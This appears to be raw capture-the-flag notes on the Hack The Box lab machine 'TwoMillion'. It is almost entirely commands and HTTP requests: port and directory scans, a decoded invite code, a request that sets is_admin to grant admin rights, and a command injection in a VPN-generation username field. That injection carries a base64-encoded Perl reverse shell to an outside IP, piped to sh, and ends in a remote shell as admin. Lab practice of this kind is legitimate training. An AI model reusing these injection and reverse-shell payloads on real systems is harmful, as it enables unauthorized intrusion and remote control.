TwoMillion

┌──(root㉿kali)-[~/Desktop/htb/TwoMillion]
└─# nmap 10.10.11.221 -p- --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 10:05 EDT
Warning: 10.10.11.221 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.221
Host is up (0.0090s latency).
Not shown: 55530 filtered tcp ports (no-response), 10003 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 77.48 seconds

┌──(root㉿kali)-[~/Desktop/htb/TwoMillion]
└─# nmap 10.10.11.221 -p 22,80 -sCV       
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 10:07 EDT
Nmap scan report for 10.10.11.221
Host is up (0.014s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.84 seconds

┌──(root㉿kali)-[~/Desktop/htb/TwoMillion]
└─# dirsearch -u http://2million.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/Desktop/htb/TwoMillion/reports/http_2million.htb/__25-07-22_10-12-02.txt

Target: http://2million.htb/

[10:12:02] Starting: 
[10:12:05] 301 -  162B  - /js  ->  http://2million.htb/js/
[10:12:19] 200 -    2KB - /404
[10:12:42] 401 -    0B  - /api
[10:12:42] 401 -    0B  - /api/v1
[10:12:44] 403 -  548B  - /assets/
[10:12:44] 301 -  162B  - /assets  ->  http://2million.htb/assets/
[10:12:51] 403 -  548B  - /controllers/
[10:12:55] 301 -  162B  - /css  ->  http://2million.htb/css/
[10:13:02] 301 -  162B  - /fonts  ->  http://2million.htb/fonts/
[10:13:04] 302 -    0B  - /home  ->  /
[10:13:05] 301 -  162B  - /images  ->  http://2million.htb/images/
[10:13:05] 403 -  548B  - /images/
[10:13:07] 403 -  548B  - /js/
[10:13:09] 200 -    4KB - /login
[10:13:10] 302 -    0B  - /logout  ->  /
[10:13:22] 200 -    4KB - /register
[10:13:36] 301 -  162B  - /views  ->  http://2million.htb/views/

Task Completed

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

"In order to generate the invite code, make a POST request to /api/v1/invite/generate"

┌──(root㉿kali)-[~/Desktop/htb/TwoMillion]
└─# echo 'RjdYUkEtWlhWRlctRDNKOE0tNTFDUzc=' |base64 -d
F7XRA-ZXVFW-D3J8M-51CS7

GET /api/v1 HTTP/1.1
Host: 2million.htb
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/home
Cookie: PHPSESSID=tfasa847gp3t1p8k80s4kvktv1
Upgrade-Insecure-Requests: 1

PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/home
Cookie: PHPSESSID=tfasa847gp3t1p8k80s4kvktv1
Content-Type: application/json

{
"email":"123@qq.com",
"is_admin":1
}

POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/home
Cookie: PHPSESSID=tfasa847gp3t1p8k80s4kvktv1
Content-Type: application/json

{
"username":"admin;echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTAuMTAuMTQuMTE3IjskcD00MzIxO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vYmFzaCAtaSIpO307Jw== |base64 -d |sh  #"
}   

(remote) admin@2million:/home/admin$ uname -a
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux